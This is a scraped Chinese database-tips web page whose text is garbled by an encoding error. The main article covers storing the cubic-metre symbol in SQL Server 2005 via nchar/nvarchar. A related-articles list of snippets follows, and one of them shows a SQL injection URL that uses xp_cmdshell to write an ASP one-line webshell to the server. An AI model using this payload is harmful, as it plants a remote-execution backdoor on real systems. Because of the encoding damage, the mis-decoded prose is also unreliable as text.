Ò׽ؽØÍ¼Èí¼þ¡¢µ¥Îļþ¡¢Ãâ°²×°¡¢´¿ÂÌÉ«¡¢½ö160KB

ÈçºÎÔÚSQL Server 2005 Öд洢Á¢·½Ã×

ÒªÔÚSQL ServerÊý¾Ý¿âÖд洢m³²¢´òÓ¡³öÀ´, ·½·¨ÈçÏ£º
    1£©½«Êý¾Ý¿âÖÐÏàÓ¦×ֶεÄÊý¾ÝÀàÐÍÉèΪnchar»ònvarcharÀàÐÍ¡£
    2£©´ÓExcelÖеõ½m³£¬¸´ÖÆÕ³Ìùµ½½ÓÊÕÊý¾ÝµÄ¿Ø¼þÖУ¨TextBox¡¢DataGridViewµÈ£©¡£±£´æ¼´¿É¡£
    ×¢£º1£©nchar,nvarcharÓëchar,varcharµÄÇø±ð
        nchar,nvarcharÇ°Ãæ¶¼Óиö'n',±íʾ´æ´¢µÄÊÇUnicodeÊý¾ÝÀàÐ͵Ä×Ö·û¡£Unicode×Ö·û¼¯ÊÇΪÁ˽â¾öÓ¢Îĺͺº×Ö·Ö±ð´æ´¢ÊÇËùÐèµÄ×Ö½Ú²»Í¬µÄÎÊÌâ¶ø²úÉúµÄ£¨Ç°ÕßÒ»¸ö×Ö½Ú¡¢ºóÕßÁ½¸ö×Ö½Ú£©¡£Unicode×Ö·û¼¯È«²¿ÓÃÁ½¸ö×Ö½Ú¡£Á½Õß×î¶à¿ÉÒÔ´æ´¢4000¸÷×Ö·û£¬²»ÂÛºº×Ö»¹ÊÇÓ¢ÎÄ¡£
        char,varcharÁ½Õß´æ´¢µÄÊÇ·ÇUnicodeÊý¾ÝÀàÐ͵Ä×Ö·û¡£×î¶à´æ´¢8000¸öÓ¢ÎÄ£¬4000¸öºº×Ö¡£
        ËùÒÔ£¬Èç¹ûÊÇ´¿Ó¢ÎĺÍÊý×Ö£¬ÓÃchar/varchar£»Èç¹ûÊý¾ÝÖÐÓкº×Ö£¬¿ÉÒÔÓÃnchar/nvarchar¡£
        2£©´ÓWORDºÍEXCELÖеõ½m³
        WORD:ͨ¹ýÉèÖÃÉϱêµÄ·½·¨ÊµÏÖ¡£ÊäÈëm,°´"shift"+"Ctrl"+"+",ÊäÈë3£¬Ôٴΰ´"shift"+"Ctrl"+"+",»Øµ½Õý³£×´Ì¬¡£ÕâÖÖ·½·¨µÃµ½µÄm³¸´ÖƵ½EXCELÖиñʽ»áÏûʧ£¨±äΪm3£©¡£
        EXCEL:С¼üÅÌ£¬ALT+179¡£»òÊäÈëm£¬²åÈë-->·ûºÅ£¬ÕÒµ½Éϱê3£¬µ¥»÷¡¾²åÈë¡¿¼´¿É¡£ÕâÖÖ·½·¨µÃµ½µÄm³¸´ÖƵ½WORDÖиñʽ²»»áÏûʧ¡£


Ïà¹ØÎĵµ£º

×îÏêϸµÄSQL×¢ÈëÓï¾ä

×îÏêϸµÄSQL×¢ÈëÓï¾äÏà¹ØµÄÃüÁîÕûÀí
1¡¢    ÓÃ^תÒå×Ö·ûÀ´Ð´ASP(Ò»¾ä»°Ä¾Âí)ÎļþµÄ·½·¨:
   http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';- ......

Oracleά»¤³£ÓÃSQLÓï¾ä»ã×Ü

ÈçºÎÔ¶³ÌÅжÏOracleÊý¾Ý¿âµÄ°²×°Æ½Ì¨
select * from v$version;
²é¿´±í¿Õ¼äµÄʹÓÃÇé¿ö
select sum(bytes)/(1024*1024) as free_space,tablespace_name
from dba_free_space
group by tablespace_name;
SELECT A.TABLESPACE_NAME,A.BYTES TOTAL,B.BYTES USED, C.BYTES FREE,
(B.BYTES*100)/A.BYTES "% USED",(C.BYTES ......

SQL Server 2005ÖеÄÎļþºÍÎļþ×é

--> Title  : SQL Server 2005ÖеÄÎļþºÍÎļþ×é
--> Author : wufeng4552
--> Date   : 2009-10-23
1¡¢ÎļþºÍÎļþ×éµÄº¬ÒåÓë¹ØÏµ
    ÿ¸öÊý¾Ý¿âÓÐÒ»¸öÖ÷Êý¾ÝÎļþ.ºÍÈô¸É¸ö´ÓÎļþ¡£ÎļþÊÇÊý¾Ý¿âµÄÎïÀíÌåÏÖ¡£ Îļþ×é¿ÉÒÔ°üÀ¨·Ö²¼ÔÚ¶à¸öÂß¼­·ÖÇøµÄÎļþ£¬ÊµÏÖ¸ºÔØÆ½ºâ¡£Îļþ×éÔÊÐ ......

CSDNµÄÊý¾Ý³ö´íÖ±½ÓÅ׳ö´íÎóSQLÎÄ

½ñÌìÔÚÉÏCSDN¿Õ¼äµÄʱºò£¬Êý¾Ý¿â³ö´íÖ±½ÓÅ׳öSQLÎÄÁË£¬ÏûÏ¢ÈçÏ£º
MySQL Error
Message
: MySQL Query Error
SQL
: SELECT main.*, field.* from uchome_space main, uchome_spacefield field
WHERE field.sex='1' AND field.uid=main.uid
ORDER BY main.viewnum DESC LIMIT 0,100
Error
: Inco ......

Îı¾µÄµ¼Èëµ¼³öºÍSQL½Å±¾µÄÖ´Ðз½·¨


Ò».Îı¾µ¼ÈëÊý¾Ý¿â
--²½Öè1.´´½¨¿ØÖÆÎļþ
load data¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ --1¡¢¿ØÖÆÎļþ±êʶ
infile 'E:\oradata\orcl\test\inf_user.txt'¡¡¡¡¡¡¡¡¡¡¡¡¡¡ --2¡¢ÒªÊäÈëµÄÊý¾ÝÎļþÃûΪinf_user.txt   (Îļþȱʡ·Åµ½C:\ Ï£¬Èç¹û²»ÊÇ£¬¾ÍÐèÒªÖ¸Ã÷ȫ·¾¶)
append into table inf_user¡¡¡¡¡¡¡¡--3¡¢Ïò±ítestÖÐ× ......
© 2009 ej38.com All Rights Reserved. ¹ØÓÚE½¡ÍøÁªÏµÎÒÃÇ | Õ¾µãµØÍ¼ | ¸ÓICP±¸09004571ºÅ